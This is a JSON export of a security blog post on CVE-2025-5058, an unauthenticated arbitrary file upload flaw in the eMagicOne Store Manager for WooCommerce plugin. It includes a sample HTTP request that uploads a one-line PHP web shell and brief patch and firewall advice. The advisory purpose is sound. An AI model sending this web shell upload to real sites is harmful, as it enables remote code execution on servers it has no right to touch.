{"id":46386,"date":"2025-05-30T18:30:26","date_gmt":"2025-05-30T18:30:26","guid":{"rendered":""},"modified":"2025-06-28T23:35:42","modified_gmt":"2025-06-29T05:35:42","slug":"cve-2025-5058-arbitrary-file-upload-vulnerability-in-emagicone-store-manager-for-woocommerce-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5058-arbitrary-file-upload-vulnerability-in-emagicone-store-manager-for-woocommerce-plugin\/","title":{"rendered":"<strong>CVE-2025-5058: Arbitrary File Upload Vulnerability in eMagicOne Store Manager for WooCommerce Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post is dedicated to the examination of a critical vulnerability, CVE-2025-5058, affecting the eMagicOne Store Manager for WooCommerce plugin for WordPress. This plugin is widely used for managing online stores, and the vulnerability can have severe consequences if exploited. In particular, it allows unauthenticated attackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39380-mojoomla-hospital-management-system-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"52016\">upload arbitrary files<\/a> to a site&#8217;s server, potentially leading to remote code execution. It&#8217;s a high-risk issue due to its <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44898-critical-stack-overflow-vulnerability-in-fw-wgs-804hpt-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"52654\">potential for complete system<\/a> compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-5058<br \/>\nSeverity: Critical (9.8 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2409-file-corruption-vulnerability-in-aspect-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"53088\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2115460140\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4603-arbitrary-file-deletion-vulnerability-in-emagicone-store-manager-for-woocommerce\/\"  data-wpil-monitor-id=\"55006\">eMagicOne Store Manager<\/a> for WooCommerce | Up to and including 1.2.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability resides in the set_image() function of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4336-arbitrary-file-upload-vulnerability-in-emagicone-store-manager-for-woocommerce-plugin\/\"  data-wpil-monitor-id=\"56686\">eMagicOne Store Manager for WooCommerce<\/a> plugin. This function is responsible for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62145\">uploading images<\/a> to a store&#8217;s server. However, due to a lack of proper file type validation, it can be exploited to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams\/\"  data-wpil-monitor-id=\"52048\">upload arbitrary files<\/a>, including malicious ones.<br \/>\nAttackers can exploit this vulnerability by sending a crafted HTTP request that includes the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26872-critical-vulnerability-of-unrestricted-file-upload-in-dkszone-eximius\/\"  data-wpil-monitor-id=\"52090\">file<\/a> upload. If the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46352-cs5000-fire-panel-hard-coded-vnc-server-password-vulnerability\/\"  data-wpil-monitor-id=\"58470\">server is using a default configuration with default password<\/a> set as 1:1, or if the attacker has access to the credentials, the server will accept the request and store the malicious file. This file can then be used to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45351-xiaomi-game-center-application-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"52129\">execute arbitrary code<\/a> on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3985313201\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"56837\">vulnerability might be exploited<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/set_image HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, an HTTP POST request is sent to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21315-a-critical-elevation-of-privilege-vulnerability-in-microsoft-defender-for-endpoint-protection\/\"  data-wpil-monitor-id=\"52012\">vulnerable endpoint<\/a>, \/set_image. The payload includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47576-php-remote-file-inclusion-vulnerability-in-bimber-viral-magazine-wordpress-theme\/\"  data-wpil-monitor-id=\"52145\">PHP file<\/a> that, when executed, runs a command passed in via the cmd GET parameter.<br \/>\nTo mitigate this threat, it&#8217;s recommended to apply the vendor patch as soon as it&#8217;s available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post is dedicated to the examination of a critical vulnerability, CVE-2025-5058, affecting the eMagicOne Store Manager for WooCommerce plugin for WordPress. This plugin is widely used for managing online stores, and the vulnerability can have severe consequences if exploited. In particular, it allows unauthenticated attackers to upload arbitrary files to a site&#8217;s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-46386","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46386","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=46386"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46386\/revisions"}],"predecessor-version":[{"id":55828,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46386\/revisions\/55828"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=46386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=46386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=46386"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=46386"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=46386"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=46386"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=46386"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=46386"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=46386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}